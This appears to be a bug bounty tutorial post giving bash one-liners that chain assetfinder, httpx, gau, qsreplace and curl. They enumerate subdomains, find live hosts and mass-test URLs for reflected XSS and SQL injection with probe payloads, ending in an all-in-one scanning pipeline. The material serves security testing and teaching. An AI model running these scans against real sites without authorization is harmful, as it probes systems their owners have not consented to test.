Bash One-Liners for Recon & Bug Hunting (XSS/SQLi)

In the world of bug bounty and pentesting, speed and automation are everything. Bash one-liners allow you to combine tools and commands to automate recon and vulnerability hunting - without writing a full script.
Let's explore how to chain tools in one-liners to do recon, XSS, and SQLi detection from your terminal.

1. Subdomain Enumeration (Passive Recon)​

cat domains.txt | while read domain; do assetfinder --subs-only $domain >> all_subs.txt; done

Uses assetfinder for passive subdomain discovery
Loops through domains in domains.txt

2. Live Host Finder with httpx​

cat all_subs.txt | httpx -silent -status-code -threads 50 | tee live_hosts.txt

Filters only active subdomains
Shows HTTP status codes
Stores in live_hosts.txt

3. Check for Reflected XSS in Params​

cat live_hosts.txt | while read url; do curl -s "$url?search=<script>alert(1)</script>" | grep -q "<script>alert(1)</script>" && echo "[XSS] $url"; done

Appends a test payload
Detects reflection of <script>alert(1)</script>
Simple check for Reflected XSS

🛠 4. SQLi Vulnerability Tester with Curl + Grep​

cat live_hosts.txt | while read url; do curl -s "$url?id=1'" | grep -qi "sql syntax" && echo "[SQLi] $url"; done

Sends a ' to trigger SQL error
Greps common SQL error response
Detects potential SQLi endpoints

5. Parameter Discovery + XSS Test (with gau + qsreplace)​

gau example.com | grep "=" | qsreplace '<svg/onload=alert(1)>' | while read url; do curl -s $url | grep -q '<svg/onload=alert(1)>' && echo "[XSS] $url"; done

Uses gau to extract URLs
Replaces parameter values with XSS payload
Tests each modified URL

6. Screenshot Live Hosts (Visual Recon)​

cat live_hosts.txt | gowitness file -f - --threads 10
Take screenshots of all live targets
Fast and headless
Great for visual recon

Tools Used:​

assetfinder - Subdomain Enumeration
httpx - Host Liveness Detection
curl - Manual Request Testing
qsreplace - Replace query string values
gau - Get All URLs (from Wayback, etc.)
gowitness - Screenshot Tool

Install tools via:

go install github.com/tomnomnom/assetfinder@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/lc/gau@latest
go install github.com/tomnomnom/qsreplace@latest

Pro Tip:
Combine with tmux or watch to monitor in real-time. Use parallelization (xargs -P) for faster scans.

Final One-Liner Combo (All-in-One)​

cat domains.txt | while read domain; do assetfinder --subs-only $domain; done | httpx -silent | tee live.txt | gau | grep "=" | qsreplace "'\"<script>alert(1)</script>" | while read url; do curl -s $url | grep -q "alert(1)" && echo "[Possible XSS] $url"; done

Fully automated passive recon + XSS detection using bash only.

Bug Bounty Impact:​

Vulnerability Reward Potential
Reflected XSS $50 – $500
SQL Injection $250 – $10,000+
Sensitive Info in Subdomains $100 – $1000+
Recon-Only Findings (Takeover, Admin Panels) $50 – $1500

Start using Bash like a weapon - No GUI, no noise, just pure hacking from terminal.
Follow Hack Training for more real-world tactics!